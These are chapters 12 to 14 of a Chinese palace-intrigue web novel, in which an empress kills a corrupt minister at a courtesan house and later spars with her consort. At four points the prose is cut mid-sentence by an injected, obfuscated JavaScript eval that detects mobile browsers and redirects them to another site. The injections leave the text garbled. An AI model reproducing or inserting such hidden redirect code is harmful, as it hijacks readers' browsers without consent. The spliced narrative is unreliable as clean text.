乌宛白眉头紧蹙,低声道:“陛下今日所见之人,不过是突然造访凝辉殿的那几位。总不会是那几位大人吧?” 陆长行神色凝重,缓缓道:“先将陛下侍奉在侧的宫人换上一部分,至于那几位朝臣,且再仔细观察。” 乌宛白应是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124176|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声鸟鸣划破静谧,引得陆长行抬眸注目。他抬首眺望檐下归来的燕子,状似无意地说道:“春回大地,百鸟归巢,不知又有多少地龙会葬身喙下。” ** 转眼戌时,圆月高悬,御宴楼的天字栖梧轩,茶香萦绕,又一杯清茶饮尽,羽扇公子素手轻抬,茶水涓涓入盏。 “这茶很浓,娘子如此豪饮,”说话间,羽扇公子慢慢屈身侧躺在女子肩头:“今晚莫不是不想睡了?” 御宴楼每日未时营业,不过住在天字阁楼的九位公子,却可休息至夜幕四合。 今日夕阳还未下山,楼檐下的灯笼便已点燃,羽扇打着哈欠推开后窗,却不想,竟被突然出现的登徒女推回了房中。 御宴九子在京城颇有盛名,贪图其美色的娘子不在少数,每年也有不少为一睹真容翻窗而入的宵小之徒,羽扇早已见怪不怪,若搁在平常,他总有法子招来救兵解困,可今日的娘子……实在生的貌美。 他一时竟想着,若能与她同度良宵,不失为一件美事。 故而大方引客。 那娘子也不见外,淡定自若的端坐茶案前,啜饮着他泡好的一杯杯香茗。面对他的靠近,娘子只是只是侧过身,并抬手轻抚着他的眉眼,似在通过他的柳叶眸想着旁人。 羽扇突然觉得无趣,玉臂枕在案上托腮:“原来娘子今夜攀楼,是为睹奴家思故人?那恕奴家恕不招待,”他瞥了眼后窗,闲闲道:“窗在那,慢走,不送。” 女子落下的手慢慢摩挲着黑玉扳指:“并非故人,亦未离我而去。只是恰巧你与他眉眼有些相似。相似到让我有些……意外。” 如此听来,这位娘子今夜之行,竟是另有目的? 柳叶眸微挑,羽扇似来了兴致:“有多相似?说的奴家竟有些好奇了。” 裴源不答反问:“你可知,你此间这‘栖梧’二字的由来?” 羽扇眼眸轻眨:“自然是凤凰息于梧桐树上。” “错了。”裴源沉声道:“是有威者凤,非梧不栖。” 羽扇默了默,似兴致不高:“娘子说什么便是什么吧。”他忘了眼窗外:“时辰不早了,奴家的恩客也快到了,娘子若不想被轰出楼,还是早些离去的好。” “不急。”裴源拇指微屈,扳指将指腹勒的微微泛白:“你那恩客,我刚好也想见见。” 羽扇一愣,恍然知晓了此女的目的,短暂的静默后,他斟酌劝道:“我那恩客脾气不好,娘子若是为了春闱诸事求她,此地可不合适,反而会触怒于她。” 裴源看向他:“公子怎知我寻她为春闱诸事?” 羽扇道:“我见娘子年岁尚轻,想必是今年赴考的才子佳人。不巧,前两日有个自诩小聪明的学子也来我这蹲守,怀中揣着一摞银票,妄图在正榜上谋个位置。结果被她轰了出去。” 裴源道:“如此听来,你那恩客颇为廉洁。” 羽扇愣了愣,而后噗笑出声,似听到了天大的笑话,他却也未说缘由,干脆行至贵妃榻上懒懒侧躺:“我言尽于此,娘子随意吧。” 12. 第 12 章 刘丝柳是清廉之人? 羽扇觉得这是他本年听过最好笑的笑话。 御宴楼中,随意走一遭,就需耗费数十两纹银,更不必说让御宴九子贴身侍奉。 羽扇早已数不清刘丝柳在御宴楼的花销,怕是早已过万两之数。若仅凭她那些俸禄,何以支撑她夜夜流连?她频繁造访的银两到底从何而来,谁又猜不到呢? 等待的过程实在枯燥,羽扇捻着一缕发丝缠弄指腹,一圈又一圈。 柳叶眸总会不受控地落在那登徒女的脸。 她可真好看。 只是神情过于寡淡,眉眼间只有冷淡,倒显得没有人情儿味。 楼下长街喧嚣纷扰,片刻不得安宁,而她始终端坐案前,岿然不动,仿若尘世喧哗皆与她无半分关系。 除了端杯轻啜,便是摩挲黑玉扳指,春风悄然入室,拂动炉火,微弱的火光在她眼底明灭闪烁。她的眸色深邃,似在沉思。明明那么年轻,可一举一动却格外沉稳老成,全无半分稚气。 羽扇一时竟分不清,她究竟是个有趣之人,还是个不谙世事的小古板。 这时,门外传来熟悉的交谈声,可不正是跑堂与刘丝柳二人? 一想到肥头大耳的刘丝柳,再一瞧窗前静坐的女子,羽扇虽不想承认,可他心里就是没来由的生出一团郁结的情绪。甚至有些恶心想吐。 尽管如此,他还是在门开一瞬,展露出最温柔可人的一面,起身飞奔扑进了女人肥硕的身躯,委屈娇嗔低语:“你若再翻旁人的牌子,往后休想再别进奴家的门。” 刘丝柳今夜本不想踏足御宴楼,毕竟今日被那乳臭未干的小丫头戳破了行程。 可一番深思,又觉得凤帝掀不起风浪,她若真能拿自己如何,早就动手了。 反倒是齐翁卿那老东西更让她心烦,她近日不知中了什么邪,修缮贡院的三万两银子,她非要问个清楚;那小丫头片子在朝堂上当众揭穿她与礼部国子监勾结贩卖考题,她更是要亲自过问;如今自己不过是去春楼消遣,她竟也要横加盘问。 大家本就是一条船上的蚂蚱,不过看她年迈才尊她一声“齐翁”,给她三分薄面;她倒好,竟真以为自己是一人之下、万人之上的摄政王,真是可笑。 刘丝柳费尽口舌才勉强糊弄过去。回府后,愈想愈气,胸中似有一股无名怒火无处宣泄。她又想起了羽扇那张脸,那张酷似君后的脸。一想到他顶着那样一张脸对自己承恩邀宠,她就迫不及待的登上马车,恨不得立即将羽扇压在榻上,以泻体内郁火。 于是,刘丝柳一把钳住怀中男子的下颌,语气轻慢至极:“莫忘了自己的身份。不过以色侍人的贱倌,本官肯垂怜于你,已是天大的福分。若再这般拈酸吃醋、不知进退,本官可不喜欢!” 羽扇似受了委屈,却也不敢表露,只是垂下眼睫怯怯道了一句:“奴家知道了。” 这娇气怜人的模样,刘丝柳格外受用,故而肥手下移,滑进了本就松散的领口:“房间怎么黑漆漆的?” “大人。” 羽扇侧身指了指茶案,见女子顺势望过去,他顺势关闭了房门。 房中光线昏暗,尤其女子背光坐在窗前,刘丝柳一时看不清来客的模样,只从身形头型看,来客应该是个年轻女子。 估计又是哪里蹦出来的土财主,以为有点家底,就能谋个官做。 当官哪是那么简单的事,何况自己都进房好一会儿了,这丫头竟连起身行礼的意思都没有,实在失礼。 刘丝柳冷哼一声,肥手从羽扇的怀中抽出后,缓步行至椅子坐下,冷声道:“正榜已定,求本官也没用,你走吧。” 女子静默不语,反而端起茶杯小口啜饮,仿若没听到一般。 羽扇有些不明所以,只观刘丝柳神色逐渐阴沉,一脸震怒似要喊小二哄走这个不速之客。 忽而,一道身影如幽灵般从后窗飞掠而至,手中长剑寒光凛冽,在半空划出一道寒芒,破空之声落尽前,剑尖已悬在刘丝柳的脖颈上。 刘丝柳心跳一滞,继而狂跳不止。 她木然抬眸看着面前的女子。 那女子身着寻常百姓布衣,却难掩其凛冽气质,尤其一双鹰眼寒光凌厉,她分明是个武人。 几息平复,刘丝柳似洞悉了当前局势,作势就要开口质问。却不想女子看出了她的打算,十分果断将长剑向前一逼,剑尖竟在脖颈上划开了一长道的血痕。 视线相对,刘似柳被牧山鹰隼一般的眼眸吓的不敢动弹。 牧山冷道:“从即刻起,你若胆敢发出一丝声音,修怪我手中的剑不留情面!” 刘丝柳嘴角微颤,顿时不敢轻举妄动,只是匆匆扫了一眼门前呆若木鸡的羽扇,心中暗盼他能机敏些。 羽扇有所察觉,可心里对刺客手中长剑的实在忌惮。 那刺客身手迅捷,刚刚不过剑光一闪的功夫,便近身在刘丝柳面前。她能对刘丝柳手下留情,是因顾及对方的身份,可自己身如浮萍,若敢妄动,只怕顷刻殒命。 但金主如今命悬一线,他若袖手旁观,想必事后刘丝柳也不会让自己好过。 局面两难,一番斟酌后,他强压下心头的恐惧,小心翼翼地挪动脚步,试图冲出门外。 不料,一直静坐饮茶的女子突然重重落下茶杯,咚——的一声,吓的羽扇全身一缩。 女子冷淡的声音打破房中沉默:“今日头疾复发,忽而让朕想起了一桩旧事。” 这声音…… 刘丝柳方才稳下的心跳,复又狂跳起来,她怔怔转头再看那背光而坐的女子,身形轮廓可不就是当今圣上? 裴源懒的去看她的反应,只抬首看向檐下的灯笼,下头的流苏穗子在春风中来回摇曳,好似三月河畔垂柳。 她缓缓启唇,诉说起往事。 “朕幼时养过一只狮子猫,雪白可爱,朕将它视作最珍视的宝贝,得了好吃的,几乎都喂进了它的嘴里;没吃的,朕就偷偷跑去幽澜湖钓锦鲤。有一日,天气清爽,阳光温暖,垂钓时朕不小心睡着了。最后是被狮子猫的惨叫声吵醒的。” 裴源言罢,沉默良久,再次开口时,平淡的声线中透出了些许凉意。 “狮子猫顽劣,拦了母皇去路,因而被母皇身边的尚宫狠狠踢了一脚。谁料猫儿应激发狂,竟挠伤了母皇。此等行径,实属谋害圣躬,罪无可恕。但朕心有怜惜,毕竟那是朕亲手养大的宠物。于是朕跪在母皇面前苦苦哀求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124177|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母皇并未震怒,只命人将朕与狮子猫同囚一处,断了粮水。 不过三日,那猫便饥肠辘辘,竟将朕视作果腹之物。起初,朕尚能以言语恐吓;继而,不得不挥拳自卫;到了第七日,它竟趁朕沉睡,咬掉了朕一块肉。朕知道,那猫活不成了。朕将猫儿摔死那日,母皇命人将朕带去了凝辉殿,她问朕:‘禁足七日,可曾想明白什么?’ 那时的朕情绪沉痛,实说不出所以然。母皇并未责怪,只缓缓道出两句话:‘其一,凤女龙孙不可有软肋,若不慎示人,便需亲手除之;其二,煌煌皇权,不容挑衅,即便对方是人事不懂的畜生,亦要斩草除根!’” 刘丝柳听到此处,只觉得背脊生寒。 她知道小凤帝在朝堂之事上奈何不得她,于群臣而言,意欲掌政的凤帝是公敌,众臣不愿将把持在手里的权利旁落,自会心照不宣的互相互助。 可那要在她活着的时候。 如果小凤帝今日真对她起了杀心,朝中司法或许会为她死因而奔走,可她们所查的只是一个结果;而非真相。 明明初春深夜,寒意尚存,刘丝柳却已满头细汗。额间汗珠顺着脸颊滑落,或聚于下巴滴落衣襟,或坠入眼中,刺得眼眸生疼。 她心中思忖对策之时,小凤帝已悄然行至她身前。 “陛下……”恐惧如潮水涌遍全身,刘丝柳四肢瘫软无力,连声音都止不住的颤抖:“臣知错了,臣愿为陛下效力……” 明明今日在凝辉殿中对凤帝频频言语打压的是她,可此刻她的大脑竟一片空白,就连哀求都语无伦次,几乎瞬间缴械。哪里像历经两朝的老臣? 裴源静静将她窘迫收入眼底,良久才道:“若没有看到羽扇的那双眼睛,朕的确是想放你一条生路,游说你做朕的马前卒。毕竟你是六部九卿中最蠢的那一个。” 说话间,裴源从袖中取出一把短刃,慢悠悠地取下刀鞘。刘丝柳瞳孔骤然紧缩,本能地想要逃离,然而脖颈处的长剑紧紧贴着肌肤,她只能下意识地后仰身躯。可下一瞬,却被凤帝一把抓住了头发。 她被迫抬首,一时间竟因恐惧而失声。 裴源声线无比阴沉:“告诉朕,你将羽扇压在身下肆意狎弄时,脑子里在想什么?权利?快意?还是别的什么?” 刘丝柳早已被恐惧浸透,情绪溃不成军。她试图开口回应,可身体止不住地颤抖,连一句完整的话都难以说出口。 “臣、臣、臣……额——” 裴源懒的倾听,抬手一落,刃尖顷刻插入刘丝柳的颈间。鲜血随着她翕动的嘴唇不断涌出,一瞬间就染红了衣襟。 凤帝犹觉得不过瘾,她紧握短刃缓缓扭转,嘴角因刘丝柳的身体抽搐而缓缓上扬,似在欣赏一只濒死的猎物。 不远处的羽扇只觉得双腿一软,直接跪坐在地。 他瞧的分明,那一瞬间,女子凤眸微眯,狭长的瞳孔中透出几分阴鸷,明明还是同一张脸,可没来由就让他生出一种感觉,此刻的她,并非刚刚坐在茶案前静静饮茶的女子。 她仿佛换了一个人。 “煌煌皇权,不容挑衅!” 凤帝幽幽开口,声音没有一丝温度:“妄想侵犯朕的男人,更是死不足惜!” 13. 第 13 章 刘丝柳手脚挣扎几下,一道腥臭气味自下涌上,裴源低头看着脚下缓缓蔓延的液体,满脸嫌恶。 “哕——” 血液与秽渍在空气里交织,纵然羽扇极力克制,还是忍不住哕出了声,察觉凤帝将目光落在自己的脸上,并缓缓向他迈步,他更是克制不住内心的恐惧,但脑子却比刘丝柳转的快。 他跪在凤帝面前,额头贴着冰冷的地板:“娘子饶命,奴家什么都没看见,什么也不会说。” 裴源俯下身蹲在他的面前,满是血渍的手慢慢穿过他凌乱的发丝,拂上他的脸颊。 她的手很凉,少年震颤不止,尤其浓烈的腥味冲入鼻腔,羽扇强忍恶心,却克制不住眼中涌出的泪水,最后,顺着她指尖的力道抬起头。 裴源端着他的下巴静静看他恐惧的模样。久久,指腹上移,轻抚着羽扇的眼尾,轻声道:“一个常年生活在深宫的凤帝,是不会出宫杀人的;即便她的杀人手法错漏百出,也断不会有人站出来指凶,所以你说了,只会死的更快。” 羽扇有些绝望崩溃,亦忍不住哽咽,却听女子又道:“本想放任你,可你顶着这样一双眼睛,去做这么下贱的勾当,朕着实不太开心。” 本就汹涌的眼泪顷刻间似决堤的水库,羽扇早已泣不成声,只能拼了命的摇头。 裴源轻叹一声,起身解开斗篷披在了羽扇的身上:“你和朕走吧,兴许未来……你还能帮朕一个大忙。 羽扇怔了怔,人已被刺客从地上搀扶而起,再一恍神,自己已没入楼下比肩接踵的人群里。 时至子时。 夜色深沉,紫宸殿内万籁俱寂,唯有火光升腾。衣衫燃烧得极快,腾起的火焰将凤帝的影子映照得扭曲变形,直至火盆中仅余几缕微弱的火苗。 烟雾弥漫,很快笼罩了整个宫殿。裴源分不清眼底溢出的水汽是烟熏的,还是因其他缘故。 她只觉胃中翻腾不止,即便早已沐浴更衣,烧尽了所有衣衫,可血腥之气却似有了生命一般,缠绕在她周身,无论她如何清洗、焚烧,令人作呕的气息依旧挥之不去。 手心不知何时又渗出一层细汗,黏腻之感让她猛然想起手心曾沾满刘丝柳的血迹。 裴源想不通那会儿的自己为何这般狠厉,竟只因心中不满,便随意取了他人性命。 而今回想,情绪有些崩溃。 她一脚踹翻面前的火盆,灰烬与火星四散飞扬,散落的到处都是,残存的火星闪烁片刻,最终归于死寂。 此时,殿门缓缓而开,月光如水倾洒而入,刹那间为漆黑的寝殿送来一片光亮,可随着君后的踏入,殿内又复归于黑暗。 陆长行稍作停顿,待双眼适应了殿内的昏暗,才依着模糊的影子,慢慢走到女子身旁蹲下,轻声唤道:“陛下。” 他似在安抚着将自己蜷缩成一团的女子,又似在寻些话题以转移她的注意力:“臣不请而入,还望陛下恕罪。” 殿门户对上只有一盏灯还在燃烧,灯光努力顺着门窗的缝隙挤入殿内,将昏暗的寝殿带来一线微光。 裴源早已习惯了寝殿的幽暗,闻言抬眸看向男子,他的眉眼微微蹙起,似笼着一层淡淡的忧郁。 她下意识地想要伸手想要抚平他紧锁的眉心,指尖却在即将触到肌肤的瞬间顿住了。 收手之际,男子似有所察,精准地握住了她的手。见女子并未挣脱,才又轻声说道:“陛下,让臣伺候您安寝吧。” 男子的手很凉,仿佛一下子吸纳了掌心所有的黏腻。 裴源有些贪恋。 两人目光在幽暗的光线下对视良久,裴源突然将男子扯入怀中。 陆长行猝不及防,下颚已被凤帝扼住挑起,深吻紧随其后,那吻极尽霸道,似乎不想给他一点喘息之机,因缺氧而无力,最后干脆躺在地上,任凤帝索取。 寒春深夜,地板寒凉入骨,胸膛之上却炙如火烧。 一吻落尽,女子趴在陆长行的身上,急促厚重的呼吸打在男子耳畔,惹得身下男儿止不住的颤栗。 裴源轻咬他的耳珠:“若朕现在让你离开,是不是有些不近人情?” 陆长行环着她的腰:“陛下是天下之主,所言所行皆有深意,臣不敢妄加揣测。” 女子静默良久,撑着地面抽离出他的怀抱,窸窣的脚步声回荡半空,凤帝冰冷的声线落入陆长行的耳中:“朕今日想起,与君后初见那天,君后竟比朕高出许多。” 她的声音悠远,仿佛在回忆着往事,然而脑海空空,有的,只是今日梦境里的残存画面。 梦境中,陆长行是个明媚张扬又稍显轻狂的少年,仿佛被无尽宠爱养大,竟敢与先帝谈笑驯马一事;而自己刚出囹圄,一身狼狈,又因狮子猫的死,满面郁结。 陆长行怔了片刻,起身立在原地:“臣虚长陛下两岁,女子发育又晚,臣幼时高于陛下,本是情理之中。” 裴源沉默。 镇北王的履历她反复翻阅过,陆家满门被诛的军械案亦被她读得烂熟于心。 三司推事,细则明晰,证据确凿,一切太过顺理成章。 其中一句,她记忆犹新。 “玉横十七年,镇北王陆氏有子,名长行,得封星河世子,诏赐为太女之配。待其弱冠,行合卺之礼。” 裴源有些不解:她?曾是太女? 可太女,不都是受尽宠爱长大的吗? 但分明梦境中的她衣食不周,就连面见先帝,也只能垂首站在凝辉殿门前,一直等到镇北王携子离去,方才得召入殿。 如此看来,太女另有其人,陆长行曾许的太女,也并非是她。 他如今成了她的君后,这中间想必历经波折。 念此,裴源冷道:“那年的星河世子,高于朕的,又何止是身高?” 陆长行一愣,眉宇微蹙:“陛下?” 裴源冷然打断他的话:“朕失去了很多记忆,朕看得出,你知晓此事。实不相瞒,你与朕过往,被朕忘了干净。根据朕近日的观察判断,你并不受宠。所以,往后这紫宸殿,你就不要来了。” 陆长行:“……” 这不是不近人情,这分明是十分混蛋! 裴源本以为陆长行会就此退去,却不想陆长行的声音在身后悠悠响起,带着几分沉稳与决然:“陛下所言,臣不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125167|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢不从。但臣身为陛下君后臣,照应陛下本是臣的应尽职责。现如今,陛下对臣心存忌惮与怀疑,那臣的所在便无意义。臣可以退位让贤。” 他言罢,微微撩起袍角,缓缓跪下,姿态恭敬而从容:“还请陛下收回后印,放臣离宫。” 裴源愕然转过头,目光落在跪地的男儿身上。昏暗的光线下,男子背脊如初春雨后破土而出的青竹,清瘦却傲骨不折。 “你在威胁朕?” 陆长行语气依旧淡然:“臣不敢。食禄、分忧本就是下臣的本分,陛下既用不到臣,臣亦无颜面留在后宫。” 裴源的眼角微微抽动,僵在原地,似是不知如何应对。 陆长行似有所察,再次开口:“看来陛下尚需决断,无碍,臣也不急于一时。夜已深,陛下早些安置吧。” 说罢,径自起身,头也不回的转身离去。 裴源:“……” 好像哪里不太对劲? ** 刘丝柳的尸身何时被人发现,裴源并不在意。即便死了一位朝臣,早朝依旧如常举行,太阳亦会照常升起,朝堂的秩序不会因一人之死而动摇。 不过在朝堂上初闻此事,裴源还是表现的痛心疾首:“何人如此胆大包天,竟敢对堂堂三品大员痛下杀手?此等行径,简直是罪大恶极,天理难容!” 众臣难得与凤帝意见一致,纷纷附和,一时间朝堂之上群情激昂,慷慨陈词。最后,追查凶手的重任,落到了大理寺的头上。 裴源居高临下看着殿中的大理寺卿韩惜灵,语气郑重地叮嘱道:“刘大人乃我朝栋梁。无论付出何种代价,都务必要将凶手绳之以法!” 韩惜灵躬身领命,沉声应道:“是。” 早朝的喧嚣暂歇,朝堂之上一片肃静。为首的齐翁卿正要开口提及正榜落印一事,九凤宝座上的凤帝忽而打了一个大大的哈欠,裴源眼眸迷蒙的扫了一眼堂下,随口问道:“诸位爱卿若没其他事务,今日朝会就到此为止?” 齐翁卿面色稍沉,轻咳一声就要开口,岂料凤帝根本不给她机会,当即起身懒洋洋道:“那就散朝!” 说罢,一拂广袖,步履轻快,走步带风,短短几息功夫,宣政殿便没了凤帝的影子。 高宣‘散朝’前,乌宛白下意识瞥了眼齐翁卿,老臣的脸色十分难看,眉间拧成一个川字,神情中带着几分愠怒,俨然一副家中小辈不服管教、却又无计可施的郁闷气结的模样。 她将这话说与凤帝听时,御撵上的女子只是一声冷笑,语气中带着几分不屑与锐利:“年岁大的都喜欢摆谱,说话就说话,偏要拿个腔调,故作姿态。朕非得治一治她这个毛病。” 乌宛白颔首一笑。 御撵继续先前,抵达的是栖梧宫的方向,只是途径御花园时,浑厚的萧声入耳。 乌宛白心有所悟,下意识抬眸看向凤帝,女子凝望的方向,正是萧声的来源。 乌宛白道:“这萧声奴婢听着耳熟,似是韩侍君吹奏。” 韩侍君? 哦,裴源想起来了。 韩柏,韩寺卿幼子。 “过去看看。” 14. 第 14 章 御驾寻着箫声直抵御花园深处,嫩绿萌出的树丛深处,便是幽澜湖畔。 初春湖畔空气还带着几分料峭的寒意,水面上生出一层薄雾,将洒下的阳光稀释出了柔和的光晕。 吹奏少年气息徐徐,浑厚悠扬的萧声便在湖畔回荡开来。 不知不觉间,凤帝行至他的身侧,少年似受了惊吓的雏鸟,身子一缩,萧声戛然而止,转身迎上凤帝的注视时,脸颊也浮出一层红晕。 韩柏双手抱着长萧,一时似有些六神无主,几息平复,方才屈身拂了一礼:“陛下。” 裴源静静打量着他,少年看上去不过十六七岁,眉眼间还带着几分稚气未脱的青涩,一袭湛蓝锦袍在阳光下泛起点点星芒,仿若初登舞台的年轻偶像,脸上藏不住对美好未来的期盼与向往,甚至……有些志在必得的自负与自满。 “你多大了?”裴源问他。 韩柏偷偷抬眸,本想只看凤帝的一眼,可女子一貌倾城、般般入画,实在让他移不开眼。故而攥着长萧的手紧张的来回摩挲,轻声回道:“回陛下,臣十七了。” 裴源面如老狗,内心波澜起伏。 大晟男子十八及冠;女子二十及笄。 很显然,面前少年还未成年。 韩柏不知凤帝在思量什么,只知空气再次静默下来,一声鸟鸣打破寂静,韩柏才开口说道:“臣昨日做了桃花酥,陛下可要尝一尝吗?” 裴源:“……” 不知哪个杀千刀的放出的消息,说凤帝喜吃桃花酥,于是各宫后君三不五时的往她的凝辉殿送,原主爱不爱吃裴源不知道,裴源只知道她不爱吃。 但也无所谓,毕竟后君的本意也不是为了让她吃。 “走吧。” 比之先帝,原主的后宫着实冷清,除君后外,东西六院分别住着一位后君,十分惬意。 裴源不止一次羡慕这些后君们,各自守着自己的宫殿过日子,不但有大把的人服侍伺候,衣食住行也不用自己操心。君后好脾气,凤帝勤于政务,所以这些后君的日常工作就是做桃花酥。 ……兴许还不是他们亲手做的。 除了宸贵君,凤帝几乎再无偏宠之人,他们就算想宫斗,估计都找不到由头。 在裴源看来,这简直就是神仙日子,比之她这个苦逼皇帝强的不止一星半点。 所以踏入朝霞殿时,裴源看着满屋子的乐器,忍不住喟叹,他们甚至还可以全身心的发展自己的兴趣爱好。 裴源心里有些不平衡,转身直接上了方台,侧倚凭几,欣赏天上云卷云舒。 第六只鸟从眼前飞过时,香茗盏上也已飘起了徐徐茶香,韩柏壮着胆子凑上前,将下巴垫在了裴源支起的膝盖上。 裴源转过头看他,少年一双星星眼里写满了对凤帝的崇拜与期盼,见女子并未呵斥,更加大胆的勾起了裴源的手指:“陛下在想什么呢?” 裴源默了几息,实在说服不了自己和一个未成年勾勾搭搭,干脆抽手抓乱了他额前的头发:“去弹首曲子给朕听。” 对于凤帝的举动韩柏俨然有些意外,甚至觉得凤帝对自己态度有些亲昵,所以理好乱发后面含娇俏:“陛下想听什么?” “随便。” “好。” 韩柏翻身下了方台,坐在了古琴前拨弄琴弦,谈的什么曲目裴源说不上来,只感觉琴声浑厚,颇有韵味。 一曲终了,一盏香茗也见了底,宫侍极有眼色,第二杯茶很快奉到了裴源手边,韩柏也重坐回裴源身侧:“陛下可还喜欢?” 裴源视线略过少年,落在不远处的青铜香炉上,不答反问:“你殿里点的什么香?” 韩柏望向香炉:“陛下说的是苏合香吗?” 裴源:“苏合香?” 韩柏点头:“臣幼时学琴总是提不起精神,父亲便寻了这苏合香点上,臣果然专注了许多。”他看向裴源:“陛下可是闻不惯这味道?” “并未。”裴源指尖转弄着茶盏,眸色微深:“只觉得在哪闻过这味道,可一时又想不起来了。” 午时过后,日光斜照,栖梧宫内静谧无声。 陆长行指尖轻捻月季花瓣,任汁液缓缓渗出,染红指缝。不过须臾,残瓣铺满案几,一片狼藉。 解安在旁偷偷打量,君后神色淡漠,喜怒难辨,于是小心翼翼开口道:“这个时辰,陛下想必已留在朝霞殿用膳了……饭快凉了,君后莫再等了。” 陆长行神情没有丝毫变化,甚至语气也淡漠如水:“本宫不饿,收了吧。” 解安目光落在桌上的残花败叶上,无声无息的点了点头,转身招呼宫侍收拾饭菜,才惊然发觉凤帝似已入殿多时。他神色一变,正欲屈身行礼,却被凤帝一个眼色制止。 解安心领神会,急忙招手,带着一众宫人轻声退下,只留下帝后二人。 陆长行对此毫无所察,只瞧一盆开的正艳的月季,转瞬间就只剩下了几朵光秃秃的花蕊,实在败兴:“告诉花房,往后莫再往栖梧宫送花了。” 说罢,行至角落,撩起水花仔细清洗着指缝花汁。水声泠泠间,似听到了汤匙与汤盅碰撞的声音。陆长行一愣,转身望去,才发现凤帝早已端坐桌前用起膳来。察觉到了他的目光后,对方抬眼相对,随口道:“朕听到了,你不饿,便未唤你。” 陆长行:“……” 裴源又道:“叮嘱花房的事,朕也听到了,一会儿就让乌宛白前去传话。” 君后的脸上瞬间染上一抹红晕,仔细端详,眉宇间还多了一丝愠色。他尴尬地伫立片刻,索性心一横,径直走到桌案的另一侧坐下,端起碗筷,轻声嘟囔:“看来朝霞殿的桃花酥不足以果腹,竟连累陛下奔波。” 裴源唇角微勾,漫不经心回他:“桃花酥的口味着实一般,不过曲子弹的深得帝心。朕决定了,明日还去~” 柳叶般眸瞬间化作利刃,似要将眼前的翡翠青蔬斩成两段。可不过须臾,君后便敛去神色,恢复如常,淡淡说道:“能哄得陛下开怀,便是大功一件。若陛下允准,臣打算好好奖赏韩侍君。” 裴源直言: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128699|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “韩柏颇好音律,君后可寻些古籍曲谱送他。” 陆长行默了几息:“可惜了,若文渊阁没有历经二十一年前的那场大火,臣定能寻出好些珍贵曲谱。” 裴源怔了怔,本想等回去命乌宛白找出此案卷轴,但一想昨夜已同君后言明忘了记忆一事,干脆大方问道:“什么大火?” 她能直言相问,陆长行十分意外,不过他神色不显,饮下一口茶后,才缓缓将那旧案说了清楚。 不知不觉间,裴源就放下了碗筷,摩挲着黑玉扳指沉思良久。 这工部研发出用于北境城墙防冻的磷粉,竟早与二十一年前? 两场大火,一次烧了文渊阁;一次烧了贡院,且制造火灾的手段一致,到底是同一人所为,还是有人效仿当年那场火灾作乱? 若是后者,她到没必要追究旧案;可若是前者,那此次烧毁贡院的目的,可就不简单了。 “昨日曾芩燕与朕说起:若想打破朝局众臣环伺之象,不妨矮下身段,深入其中。”裴源顿了顿,将视线落在陆长行身上:“君后以为这话如何?” 陆长行微微一愣,眉间隐有错愕之色一闪而过,他匆匆垂下眼眸,克制内心杂乱,平静道:“陛下,后宫不该干政。” 裴源挑眉,似是调侃,又似在试探:“君后干的还少?” 陆长行面色稍霁,眼尾红痣愈发醒目,似要渗出血来。他沉默良久,才轻言低语:“此言确有几分道理,但曾娘子对朝局一知半解,所涉终究不深。若知全貌便该明白,陛下这三年礼贤下士,未起到丝毫作用。” 裴源追问:“那依君后之见,朕该如何?” 陆长行唇瓣翕动,轻声道:“臣一介男儿,哪里懂这些。” 裴源并不为难他,只反问道:“那朕举个例子,假若后宫诸君团结一致,齐心合力要将君后拉下后位,君后打算如何反击?” 陆长行抿了抿唇,目光淡然,轻声道:“自要制造矛盾,瓦解诸君合围之势,借力打力,坐收渔翁之利。” 裴源追问:“借谁的力?” 陆长行语气轻飘飘的,却透着几分锐利:“最得意之人。” 裴源目光愈发深邃:“最得意之人往往根基深厚,平常矛盾,想必撼动不了其根基。” 陆长行淡淡道:“人皆有欲望与恐惧。” 裴源嘴角微勾,语气似是随意,却透着几分探究:“三朝老臣,权势滔天,所惧为何?” 